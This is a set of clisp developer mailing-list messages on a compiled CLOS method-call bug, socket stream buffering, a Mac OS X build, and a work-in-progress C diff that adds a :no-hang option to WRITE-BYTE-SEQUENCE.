;; Loaded file /home/averkamp/lisp/test-clos-2.fas
"before blub"
"after blub"


I would have expected:
"before blub"
"blub"
"after blub"

 and this is the result if if the files are not compiled :

16]> (progn
  (unintern 'blub)
  (load "test-clos-1.lisp")
  (load "test-clos-2.lisp")
  (bla))

;; Datei test-clos-1.lisp ...
;; Loaded file test-clos-1.lisp
;; Datei test-clos-2.lisp ...
;; Loaded file test-clos-2.lisp
"before blub"
"blub"
"after blub"

Why is method blub not called in the first example?


If in file test-clos-2.lisp "(defmethod blub ( ..."
 is moved before "(defun bla ...." everything works as expected.

There is no trace of the call to blub in the disassembly of bla:

[35]> (disassemble 'bla)


Disassembly von Funktion BLA
(CONST 0) = A
(CONST 1) = MAKE-INSTANCE
(CONST 2) = "before blub"
(CONST 3) = "after blub"
0 required arguments
0 optional arguments
Kein Rest-Parameter
Keine Keyword-Parameter
9 byte-code instructions:
0     (CONST&PUSH 0)                      ; A
1     (CALL1&PUSH 1)                      ; MAKE-INSTANCE
3     (CONST&PUSH 2)                      ; "before blub"
4     (PUSH-UNBOUND 1)
6     (CALLS1 131)                        ; PPRINT
8     (CONST&PUSH 3)                      ; "after blub"
9     (PUSH-UNBOUND 1)
11    (CALLS1 131)                        ; PPRINT
13    (SKIP&RET 2)
NIL
[36]> 

I do not have this problem with clisp-2.30.

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Under 21.3.5. Bulk Input and Output
 Rationale. The rationale for EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE,
 EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE is that some STREAMs
 support both character and binary i/o, and when you read into a SEQUENCE
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 kind of input to use. In such situation READ-SEQUENCE and WRITE-SEQUENCE
 SIGNAL an ERROR, while EXT:READ-CHAR-SEQUENCE, EXT:READ-BYTE-SEQUENCE,
 EXT:WRITE-CHAR-SEQUENCE and EXT:WRITE-BYTE-SEQUENCE work just fine.

This appears not to be the case.  Read-sequence, as I expected, works
fine and (naturally) stores the element type of the stream.

Unless these are much faster than read/write-sequence, I think the
real benefit is the no-hang argument of read-byte-sequence.  
I've now tried it and I'm happy with the result.  
Now for write-byte-sequence :nohang ...


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 (setf stream (socket:SOCKET-ACCEPT s))
 #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:5500>

What does it mean for the stream to be unbuffered?
Clearly when the other side sends characters they're stored somewhere
until I read them from the stream.

For output I suppose it makes more sense - I suppose unbuffered means
that all data is sent in outgoing packets "shortly" after it's written
to the stream, as opposed to waiting for a packet to fill up or a
force-output.  Is that the idea?

Impnotes shows a lot of :buffered arguments but doesn't say much about
what they mean.


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Hi,

> #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:5500>
>What does it mean for the stream to be unbuffered?
>Clearly when the other side sends characters they're stored somewhere
>until I read them from the stream.

It means that CLISP does not use an internal application-level (4K IIRC) buffer. That doesn't prevent the underlying OS from doing some buffering itself. The network always does some buffering :-)

>Impnotes shows a lot of :buffered arguments but doesn't say much about
>what they mean.

Here's a suggestion for adding somewhere in impnotes

:buffered
Have CLISP manage an internal 4KB buffer for input or output. Buffering is a known general technique to speed up i/o by many factors.
CLISP detects i/o to regular files itself and defaults to buffering.
For sockets or special files however, CLISP doesn't default to using an internal buffer. Therefore, for use with e.g. HTTP output to socket streams, you may obtain speed improvements by having CLISP do output in blocks instead of character by character by setting :buffered to true. The size of the internal buffer is currently 4KB (IIRC).

Note that using :buffered on interactive streams (typically network protocols) may require thoughtful addition of calls to FORCE-OUTPUT or FINISH-OUTPUT.


Personal side note:
The actual performance improvements depend a lot on the underlying OS, as the following examples show:

o I used *print-pretty* very early on the Amiga, because the buffering that it causes (using write-string instead of write-char) sped up output to the terminal by a huge factor.

o I reported speed improvements in this group by a factor >10 (and data volume reduce by a factor >200) when using buffering over a samba filesystem connection when using read-char (MS-W2k reading from Linux Samba server). The same code on Linux (using NFS) did not show a difference for :buffered T/NIL, presumably because NFS does i/o in 8KB chunks itself.

Sadly, read-char is very commonly used in CL, and when :buffering is not true, all bets are off as to the performance of the system, as the second example shows. IIRC this was in a thread in this list about who is responsible for buffering: the application programmer or the OS.

I found e-mails of mine from 14th February 2002 and 17th October 2002 on this topic.

Regards,


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> I've succeeded in building the new release; I thought I'd let you know
> about some issues I encountered. (I'll hold off on checking the update
> into fink until maxima is updated, since that seems to have a binary
> dependency on clisp).

good.

> 1) I couldn't make dynamic-ffi build, because the whole avcall
> business failed to build. I'm a bit at a loss in how to make it work,
> and can't really assess how important it would be to have this feature
> available. Any thoughts on this?

it is known that avcall does not work on mac os x.
it would be very nice if you could port it.

> 2) I needed to make two patches. One is a bit heavy handed and rather
> platform dependent: To build under fink, I need to be able to pass in
> external LDFLAGS to the linking:

thanks, I will check in something based on this.

> The other fixes what I believe to be a bug: If --without-dynamic-ffi is
> specified, but a dlxxx header exists on the system, compilation failed:

thanks, this is already in the CVS.


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I think I'm making progress on write-byte-sequence no-hang, will send
more diffs, might even try testing it (!!)

In the mean while I notice in clisp.h:
 #define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0)
 #define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0)
 #define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0)
 #define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0)

Shouldn't mv_count be 2 for VALUES2 ?


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Below is current diff.  The build finishes but
 (ext:write-byte-sequence a st :no-hang t)
gives me
 *** - WRITE-BYTE-SEQUENCE: illegal keyword/value pair :NO-HANG, T in argument list.
 The allowed keywords are (:START :END)

Can someone tell me what I've missed?  
I expected the following to cause the new argument to be recognized.
[in sequence.d]
+LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3,
+        (kw(start),kw(end),kw(no_hang)) )

In particular, this is the same as for read-byte-sequence
but :no-hang is accepted there.

Feel free to tell me what else I'm doing wrong, of course.

================

# diff -ur . ../src | grep -v ^Only
diff -ur ./genclisph.d ../src/genclisph.d
--- ./genclisph.d	Wed Sep 17 16:48:06 2003
+++ ../src/genclisph.d	Thu Sep 18 12:32:57 2003
@@ -1486,7 +1486,7 @@
   }
   printf("#define VALUES0 do{ value1 = NIL; mv_count = 0; }while(0)\n");
   printf("#define VALUES1(A) do{ value1 = (A); mv_count = 1; }while(0)\n");
-  printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 3;}while(0)\n");
+  printf("#define VALUES2(A,B) do{ value1 = (A); value2 = (B); mv_count = 2;}while(0)\n");
   printf("#define VALUES3(A,B,C) do{ value1 = (A); value2 = (B); value3 = (C); mv_count = 3;}while(0)\n");
   printf("#define VALUES_IF(C) do{ value1 = (C) ? T : NIL; mv_count = 1; }while(0)\n");
   printf("#define args_end_pointer  STACK\n");
@@ -1742,7 +1742,7 @@
   printf("extern Handle handle_dup (Handle old_handle, Handle new_handle);\n");
   printf("extern Handle stream_lend_handle (object stream, bool inputp, int * handletype);\n");
   printf("extern uintL read_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);\n");
-  printf("extern void write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len);\n");
+  printf("extern uintL write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);\n");
   printf("extern void builtin_stream_close (const gcv_object_t* stream_);\n");
   printf("extern object file_stream_truename (object s);\n");
   printf("extern object open_file_stream_handle (object stream, Handle *fd);\n");
diff -ur ./lispbibl.d ../src/lispbibl.d
--- ./lispbibl.d	Wed Sep 17 16:48:06 2003
+++ ../src/lispbibl.d	Wed Sep 17 16:39:18 2003
@@ -12791,12 +12791,13 @@
 /* used by SEQUENCE, PATHNAME */
 
 # Function: Writes several bytes to a stream.
-# write_byte_array(&stream,&bytearray,start,len)
+# write_byte_array(&stream,&bytearray,start,len,no_hang)
 # > stream: Stream (on the STACK)
 # > object bytearray: simple-8bit-vector (on the STACK)
 # > uintL start: start index of byte sequence to be written
 # > uintL len: length of byte sequence to be written
-extern void write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len);
+# > bool no_hang: don't block, return #bytes written
+extern uintL write_byte_array (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);
 # is used by SEQUENCE
 
 # Function: Reads several characters from a stream.
diff -ur ./sequence.d ../src/sequence.d
--- ./sequence.d	Wed Sep 17 16:48:06 2003
+++ ../src/sequence.d	Thu Sep 18 13:04:49 2003
@@ -4251,13 +4251,18 @@
   skipSTACK(6);
 }
 
-LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,2,
-        (kw(start),kw(end)) )
-{ /* (WRITE-BYTE-SEQUENCE sequence stream [:start] [:end]),
+LISPFUN(write_byte_sequence,seclass_default,2,0,norest,key,3,
+        (kw(start),kw(end),kw(no_hang)) )
+{ /* (WRITE-BYTE-SEQUENCE sequence stream [:start] [:end] [:no-hang]),
      it is not clear what this should return when :NO-HANG is T
-     and only a part of the sequence was written!
+     and only a part of the sequence was written! 
+     -- new spec [Don Cohen]
+	- always return sequence as first value (backward compatible)
+	- optional second value is position of first unwritten byte 
+          if not supplied, assumed to be :end (all written)
     cf. dpANS p. 21-27 */
-  /* stack layout: sequence, stream, start, end. */
+  /* stack layout: sequence, stream, start, end, no-hang. */
+  var bool no_hang = !missingp(STACK_0); skipSTACK(1);
   pushSTACK(get_valid_seq_type(STACK_3)); /* sequence check */
   /* stack layout: sequence, stream, start, end, typdescr. */
   if (!streamp(STACK_3)) { fehler_stream(STACK_3); } /* check stream */
@@ -4270,27 +4275,31 @@
     var uintL end = posfixnum_to_L(STACK_1);
     var uintL index = 0;
     STACK_0 = array_displace_check(STACK_4,end,&index);
-    write_byte_array(&STACK_3,&STACK_0,index+start,end-start);
-    goto done;
-  }
-  /* subtract start and end: */
-  STACK_1 = I_I_minus_I(STACK_1,STACK_2); /* (- end start), an integer >=0 */
-  /* stack layout: sequence, item, start, count, typdescr. */
-  /* determine start pointer: */
-  pushSTACK(STACK_4); pushSTACK(STACK_(2+1));
-  funcall(seq_init_start(STACK_(0+2)),2); /* (SEQ-INIT-START sequence start) */
-  STACK_2 = value1; /* =: pointer */
-  /* stack layout: sequence, stream, pointer, count, typdescr. */
-  while (!eq(STACK_1,Fixnum_0)) { /* count (an integer) = 0 -> done */
+   {var uintL result =
+     write_byte_array(&STACK_3,&STACK_0,index+start,end-start,no_hang);
+     skipSTACK(5);
+     VALUES2(popSTACK(),fixnum(start+result));
+   }}
+  else {
+    /* subtract start and end: */
+    STACK_1 = I_I_minus_I(STACK_1,STACK_2); /* (- end start), an integer >=0 */
+    /* stack layout: sequence, item, start, count, typdescr. */
+    /* determine start pointer: */
     pushSTACK(STACK_4); pushSTACK(STACK_(2+1));
-    funcall(seq_access(STACK_(0+2)),2); /* (SEQ-ACCESS sequence pointer) */
-    write_byte(STACK_3,value1); /* output an element  */
-    /* pointer := (SEQ-UPD sequence pointer) : */
-    pointer_update(STACK_2,STACK_4,STACK_0);
-    /* count := (1- count) : */
-    decrement(STACK_1);
+    funcall(seq_init_start(STACK_(0+2)),2); /* (SEQ-INIT-START sequence start) */
+    STACK_2 = value1; /* =: pointer */
+    /* stack layout: sequence, stream, pointer, count, typdescr. */
+    while (!eq(STACK_1,Fixnum_0)) { /* count (an integer) = 0 -> done */
+      pushSTACK(STACK_4); pushSTACK(STACK_(2+1));
+      funcall(seq_access(STACK_(0+2)),2); /* (SEQ-ACCESS sequence pointer) */
+      write_byte(STACK_3,value1); /* output an element  */
+      /* pointer := (SEQ-UPD sequence pointer) : */
+      pointer_update(STACK_2,STACK_4,STACK_0);
+      /* count := (1- count) : */
+      decrement(STACK_1);
+    }
+  done:
+    skipSTACK(4);
+    VALUES1(popSTACK()); /* return sequence */
   }
- done:
-  skipSTACK(4);
-  VALUES1(popSTACK()); /* return sequence */
 }
diff -ur ./spvw_memfile.d ../src/spvw_memfile.d
--- ./spvw_memfile.d	Wed Sep 17 16:48:06 2003
+++ ../src/spvw_memfile.d	Wed Sep 17 14:04:34 2003
@@ -224,7 +224,7 @@
   gar_col();
 #define WRITE(buf,len)                                                  \
   do { begin_system_call();                                             \
-    {var sintL ergebnis = full_write(handle,(RW_BUF_T)buf,len);         \
+    {var sintL ergebnis = full_write(handle,(RW_BUF_T)buf,len,0);         \
       if (ergebnis != (sintL)(len)) {                                   \
         end_system_call();                                              \
         builtin_stream_close(&STACK_0);                                 \
diff -ur ./stream.d ../src/stream.d
--- ./stream.d	Wed Sep 17 16:48:06 2003
+++ ../src/stream.d	Thu Sep 18 12:43:15 2003
@@ -87,7 +87,7 @@
     typedef object (* rd_by_Pseudofun) (object stream);
 
 /* Specification for READ-BYTE-ARRAY - Pseudo-Function:
- fun(&stream,&bytearray,start,len)
+ fun(&stream,&bytearray,start,len,no_hang)
  > stream: stream
  > object bytearray: simple-8bit-vector
  > uintL start: start index of byte sequence to be filled
@@ -105,13 +105,14 @@
     typedef void (* wr_by_Pseudofun) (object stream, object obj);
 
   # Specification for WRITE-BYTE-ARRAY - Pseudo-Function:
-  # fun(&stream,&bytearray,start,len)
+  # fun(&stream,&bytearray,start,len,no_hang)
   # > stream: stream
   # > object bytearray: simple-8bit-vector
   # > uintL start: start index of byte sequence to be written
   # > uintL len: length of byte sequence to be written, >0
+  # > bool no_hang: do not block
   # can trigger GC
-    typedef void (* wr_by_array_Pseudofun) (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len);
+    typedef uintL (* wr_by_array_Pseudofun) (const gcv_object_t* stream_, const gcv_object_t* bytearray_, uintL start, uintL len, bool no_hang);
 
   # Specification for READ-CHAR - Pseudo-Function:
   # fun(&stream)
@@ -265,13 +266,14 @@
 
 local void wr_by_array_error (const gcv_object_t* stream_,
                               const gcv_object_t* bytearray_,
-                              uintL start, uintL len) {
+                              uintL start, uintL len, bool no_hang) {
   fehler_illegal_streamop(S(write_byte),*stream_);
 }
 
-local void wr_by_array_dummy (const gcv_object_t* stream_,
+local uintL wr_by_array_dummy (const gcv_object_t* stream_,
                               const gcv_object_t* bytearray_,
-                              uintL start, uintL len) {
+                              uintL start, uintL len, bool no_hang) {
+  /* *** no_hang not supported by default */
   var uintL end = start + len;
   var uintL index = start;
   do {
@@ -279,6 +281,7 @@
     wr_by(stream)(stream,fixnum(TheSbvector(*bytearray_)->data[index]));
     index++;
   } while (index < end);
+  return len;
 }
 
 local object rd_ch_error (const gcv_object_t* stream_) {
@@ -466,11 +469,12 @@
 }
 
 # Function: Reads several bytes from a stream.
-# read_byte_array(&stream,&bytearray,start,len)
+# read_byte_array(&stream,&bytearray,start,len,no_hang)
 # > stream: stream (on the STACK)
 # > object bytearray: simple-8bit-vector (on the STACK)
 # > uintL start: start index of byte sequence to be filled
 # > uintL len: length of byte sequence to be filled
+# > bool no_hang: don't block (return #bytes read)
 # < uintL result: number of bytes that have been filled
 # can trigger GC
 global uintL read_byte_array (const gcv_object_t* stream_,
@@ -517,25 +521,43 @@
 }
 
 # Function: Writes several bytes to a stream.
-# write_byte_array(&stream,&bytearray,start,len)
+# write_byte_array(&stream,&bytearray,start,len,no_hang)
 # > stream: Stream (on the STACK)
 # > object bytearray: simple-8bit-vector (on the STACK)
 # > uintL start: start index of byte sequence to be written
 # > uintL len: length of byte sequence to be written
-global void write_byte_array (const gcv_object_t* stream_,
+# > bool no_hang: don't block, return #bytes written
+global uintL write_byte_array (const gcv_object_t* stream_,
                               const gcv_object_t* bytearray_,
-                              uintL start, uintL len) {
+                              uintL start, uintL len, bool no_hang) {
   if (len==0)
-    return;
+    return 0;
   var object stream = *stream_;
   if (builtin_stream_p(stream)) {
-    wr_by_array(stream)(stream_,bytearray_,start,len);
+    return wr_by_array(stream)(stream_,bytearray_,start,len,no_hang);
   } else {
     # Call the generic function
     # (STREAM-WRITE-BYTE-SEQUENCE stream bytearray start start+len):
     pushSTACK(stream); pushSTACK(*bytearray_);
     pushSTACK(fixnum(start)); pushSTACK(fixnum(start+len));
-    funcall(S(stream_write_byte_sequence),4);
+    pushSTACK(no_hang ? T : NIL);
+    funcall(S(stream_write_byte_sequence),5);
+    if (mv_count >= 2) {
+      /* second return value is index of first unwritten byte
+	 have to change that here into #bytes written */
+      var uintL result;
+      if (!(posfixnump(value2)
+	    && (result = posfixnum_to_L(value2),
+		result >= start && result <= start+len))) {
+	pushSTACK(fixnum(start+len));
+	pushSTACK(fixnum(start));
+	pushSTACK(S(stream_write_byte_sequence));
+	pushSTACK(value2);
+	fehler(error,GETTEXT("Return value ~ of call to ~ should be an integer between ~ and ~."));
+      }
+      return result-start;
+    }
+    return len;
   }
 }
 
@@ -1026,14 +1048,16 @@
 }
 
 # WRITE-BYTE-ARRAY - Pseudo-Function for Synonym-Streams:
-local void wr_by_array_synonym (const gcv_object_t* stream_,
+local uintL wr_by_array_synonym (const gcv_object_t* stream_,
                                 const gcv_object_t* bytearray_,
-                                uintL start, uintL len) {
+                                uintL start, uintL len, bool no_hang) {
+  int result;
   check_SP(); check_STACK();
   var object symbol = TheStream(*stream_)->strm_synonym_symbol;
   pushSTACK(get_synonym_stream(symbol));
-  write_byte_array(&STACK_0,bytearray_,start,len);
+  result = write_byte_array(&STACK_0,bytearray_,start,len,no_hang);
   skipSTACK(1);
+  return result;
 }
 
 # READ-CHAR - Pseudo-Function for Synonym-Streams:
@@ -1266,18 +1290,21 @@
 }
 
 # WRITE-BYTE-ARRAY - Pseudo-Function for Broadcast-Streams:
-local void wr_by_array_broad (const gcv_object_t* stream_, const gcv_object_t* bytearray_,
-                              uintL start, uintL len) {
+local uintL wr_by_array_broad (const gcv_object_t* stream_, const gcv_object_t* bytearray_,
+                              uintL start, uintL len, bool no_hang) {
   check_SP(); check_STACK();
   pushSTACK(TheStream(*stream_)->strm_broad_list); # list of streams
   var object streamlist;
+  /* what happens if different streams write different amounts?
+     no_hang not supported for broadcast streams *** */
   while (streamlist = STACK_0, consp(streamlist)) {
     STACK_0 = Cdr(streamlist);
     pushSTACK(Car(streamlist));
-    write_byte_array(&STACK_0,bytearray_,start,len);
+    write_byte_array(&STACK_0,bytearray_,start,len,0);
     skipSTACK(1);
   }
   skipSTACK(1);
+  return len;
 }
 
 # WRITE-CHAR - Pseudo-Function for Broadcast-Streams:
@@ -1688,13 +1715,15 @@
 }
 
 # WRITE-BYTE-ARRAY - Pseudo-Function for Two-Way- and Echo-Streams:
-local void wr_by_array_twoway (const gcv_object_t* stream_,
+local uintL wr_by_array_twoway (const gcv_object_t* stream_,
                                const gcv_object_t* bytearray_,
-                               uintL start, uintL len) {
+                               uintL start, uintL len, bool no_hang) {
+  int result;
   check_SP(); check_STACK();
   pushSTACK(TheStream(*stream_)->strm_twoway_output);
-  write_byte_array(&STACK_0,bytearray_,start,len);
+  result = write_byte_array(&STACK_0,bytearray_,start,len,no_hang);
   skipSTACK(1);
+  return result;
 }
 
 # WRITE-CHAR - Pseudo-Function for Two-Way- and Echo-Streams:
@@ -1936,7 +1965,8 @@
   pushSTACK(TheStream(*stream_)->strm_twoway_input);
   var uintL result = read_byte_array(&STACK_0,bytearray_,start,len,no_hang);
   STACK_0 = TheStream(*stream_)->strm_twoway_output;
-  write_byte_array(&STACK_0,bytearray_,start,result);
+  write_byte_array(&STACK_0,bytearray_,start,result,0);
+  /* *** no_hang not supported for echo streams */
   skipSTACK(1);
   return result;
 }
@@ -3460,7 +3490,7 @@
   bool ignore_next_LF : 8;             # true after reading a CR
   # Fields used for the output side only:
   void         (* low_write)         (object stream, uintB b);
-  const uintB* (* low_write_array)   (object stream, const uintB* byteptr, uintL len);
+  const uintB* (* low_write_array)   (object stream, const uintB* byteptr, uintL len, bool no_hang);
   void         (* low_finish_output) (object stream);
   void         (* low_force_output)  (object stream);
   void         (* low_clear_output)  (object stream);
@@ -5324,10 +5354,11 @@
 
 local const uintB* low_write_array_unbuffered_handle (object stream,
                                                       const uintB* byteptr,
-                                                      uintL len) {
+                                                      uintL len,
+						      bool no_hang) {
   var Handle handle = TheHandle(TheStream(stream)->strm_ochannel);
   begin_system_call();
-  var sintL result = full_write(handle,byteptr,len);
+  var sintL result = full_write(handle,byteptr,len,no_hang);
   if (result<0) { OS_error(); }
   end_system_call();
   if (!(result==(sintL)len)) # not successful?
@@ -5355,7 +5386,7 @@
 local void wr_by_aux_ia_unbuffered (object stream, uintL bitsize,
                                     uintL bytesize) {
   uintB* bitbufferptr = TheSbvector(TheStream(stream)->strm_bitbuffer)->data;
-  UnbufferedStreamLow_write_array(stream)(stream,bitbufferptr,bytesize);
+  UnbufferedStreamLow_write_array(stream)(stream,bitbufferptr,bytesize,0);
 }
 
 # WRITE-BYTE - Pseudo-Function for File-Streams of Integers, Type au :
@@ -5377,12 +5408,13 @@
 }
 
 # WRITE-BYTE-ARRAY - Pseudo-Function for Handle-Streams, Type au, bitsize = 8 :
-local void wr_by_array_iau8_unbuffered (const gcv_object_t* stream_,
+local uintL wr_by_array_iau8_unbuffered (const gcv_object_t* stream_,
                                         const gcv_object_t* bytearray_,
-                                        uintL start, uintL len) {
+                                        uintL start, uintL len, bool no_hang) {
   var object stream = *stream_;
   UnbufferedStreamLow_write_array(stream)
-    (stream,&TheSbvector(*bytearray_)->data[start],len);
+    (stream,&TheSbvector(*bytearray_)->data[start],len, no_hang);
+  return len;
 }
 
 # Character streams
@@ -5403,7 +5435,7 @@
   Encoding_wcstombs(encoding)
     (encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
   ASSERT(cptr == &c+1);
-  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]);
+  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0);
   #else
   UnbufferedStreamLow_write(stream)(stream,as_cint(c));
   #endif
@@ -5424,11 +5456,11 @@
   do {
     var uintB* bptr = &tmptmpbuf[0];
     Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
-    UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]);
+    UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0);
   } until (charptr == endptr);
   #undef tmpbufsize
   #else
-  var const chart* endptr = (const chart*)UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)charptr,len);
+  var const chart* endptr = (const chart*)UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)charptr,len,0);
   #endif
   wr_ss_lpos(stream,endptr,len); # update Line-Position
 }
@@ -5447,7 +5479,7 @@
   var uintB* bptr = &buf[0];
   Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
   ASSERT(cptr == &c+1);
-  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]);
+  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0);
   #else
   UnbufferedStreamLow_write(stream)(stream,as_cint(c));
   #endif
@@ -5486,9 +5518,9 @@
       var uintB* bptr = &tmptmpbuf[0];
       Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
       ASSERT(cptr == tmpptr);
-      UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]);
+      UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0);
       #else
-      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,n);
+      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,n,0);
       #endif
     }
     remaining -= n;
@@ -5517,10 +5549,10 @@
   var uintB* bptr = &buf[0];
   Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,&buf[2*max_bytes_per_chart]);
   ASSERT(cptr == cp+n);
-  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0]);
+  UnbufferedStreamLow_write_array(stream)(stream,&buf[0],bptr-&buf[0],0);
   #else
   if (chareq(c,ascii(NL))) {
-    UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2);
+    UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)crlf,2,0);
   } else {
     UnbufferedStreamLow_write(stream)(stream,as_cint(c));
   }
@@ -5562,9 +5594,9 @@
       var uintB* bptr = &tmptmpbuf[0];
       Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
       ASSERT(cptr == tmpptr);
-      UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0]);
+      UnbufferedStreamLow_write_array(stream)(stream,&tmptmpbuf[0],bptr-&tmptmpbuf[0],0);
       #else
-      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,tmpptr-&tmpbuf[0]);
+      UnbufferedStreamLow_write_array(stream)(stream,(const uintB*)tmpbuf,tmpptr-&tmpbuf[0],0);
       #endif
     }
     remaining -= n;
@@ -5600,7 +5632,7 @@
     end_system_call();
     var uintL outcount = outptr-(char*)tmpbuf;
     if (outcount > 0) {
-      UnbufferedStreamLow_write_array(stream)(stream,&tmpbuf[0],outcount);
+      UnbufferedStreamLow_write_array(stream)(stream,&tmpbuf[0],outcount,0);
     }
     #undef tmpbufsize
   }
@@ -6002,7 +6034,7 @@
   var sintL result = # write Buffer
     full_write(TheHandle(BufferedStream_channel(stream)),
                BufferedStream_buffer_address(stream,0),
-               bufflen);
+               bufflen, 0);
   if (result==bufflen) { # everything written correctly
     end_system_call(); BufferedStream_modified(stream) = false;
   } else { # not everything written
@@ -6264,15 +6296,17 @@
 
 # UP: Writes an Array of Bytes to an (open) Byte-based
 # File-Stream.
-# write_byte_array_buffered(stream,byteptr,len)
+# write_byte_array_buffered(stream,byteptr,len,no_hang)
 # > stream : (open) Byte-based File-Stream.
 # > byteptr[0..len-1] : Bytes to be written.
 # > len : > 0
+# > no_hang : don't block
 # < result: &byteptr[len]
 # changed in stream: index, endvalid, buffstart
 local const uintB* write_byte_array_buffered (object stream,
                                               const uintB* byteptr,
-                                              uintL len) {
+                                              uintL len, bool no_hang) {
+  /* *** no_hang not yet supported here */
   var uintL remaining = len;
   var uintB* ptr;
   do { # still remaining>0 Bytes to be filed.
@@ -6609,7 +6643,7 @@
   Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
   ASSERT(cptr == &c+1);
   var uintL buflen = bptr-&buf[0];
-  write_byte_array_buffered(stream,&buf[0],buflen);
+  write_byte_array_buffered(stream,&buf[0],buflen,0);
   # increment position
   BufferedStream_position(stream) += buflen;
  #else
@@ -6633,13 +6667,13 @@
     var uintB* bptr = &tmptmpbuf[0];
     Encoding_wcstombs(encoding)(encoding,stream,&charptr,endptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
     var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
-    write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen);
+    write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0);
     # increment position
     BufferedStream_position(stream) += tmptmpbuflen;
   } until (charptr == endptr);
   #undef tmpbufsize
  #else
-  write_byte_array_buffered(stream,(const uintB*)charptr,len);
+  write_byte_array_buffered(stream,(const uintB*)charptr,len,0);
   # increment position
   BufferedStream_position(stream) += len;
  #endif
@@ -6661,7 +6695,7 @@
   Encoding_wcstombs(encoding)(encoding,stream,&cptr,cptr+1,&bptr,&buf[max_bytes_per_chart]);
   ASSERT(cptr == &c+1);
   var uintL buflen = bptr-&buf[0];
-  write_byte_array_buffered(stream,&buf[0],buflen);
+  write_byte_array_buffered(stream,&buf[0],buflen,0);
   # increment position
   BufferedStream_position(stream) += buflen;
  #else
@@ -6701,7 +6735,7 @@
       Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[tmpbufsize*max_bytes_per_chart]);
       ASSERT(cptr == tmpptr);
       var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
-      write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen);
+      write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0);
       # increment position
       BufferedStream_position(stream) += tmptmpbuflen;
     }
@@ -6742,7 +6776,7 @@
   Encoding_wcstombs(encoding)(encoding,stream,&cptr,cp+n,&bptr,&buf[2*max_bytes_per_chart]);
   ASSERT(cptr == cp+n);
   var uintL buflen = bptr-&buf[0];
-  write_byte_array_buffered(stream,&buf[0],buflen);
+  write_byte_array_buffered(stream,&buf[0],buflen,0);
   # increment position
   BufferedStream_position(stream) += buflen;
  #else
@@ -6788,7 +6822,7 @@
       Encoding_wcstombs(encoding)(encoding,stream,&cptr,tmpptr,&bptr,&tmptmpbuf[2*tmpbufsize*max_bytes_per_chart]);
       ASSERT(cptr == tmpptr);
       var uintL tmptmpbuflen = bptr-&tmptmpbuf[0];
-      write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen);
+      write_byte_array_buffered(stream,&tmptmpbuf[0],tmptmpbuflen,0);
       # increment position
       BufferedStream_position(stream) += tmptmpbuflen;
     }
@@ -6837,7 +6871,7 @@
    end_system_call();
    var uintL outcount = outptr-(char*)tmpbuf;
    if (outcount > 0) {
-     write_byte_array_buffered(stream,&tmpbuf[0],outcount);
+     write_byte_array_buffered(stream,&tmpbuf[0],outcount,0);
      # increment position
      BufferedStream_position(stream) += outcount;
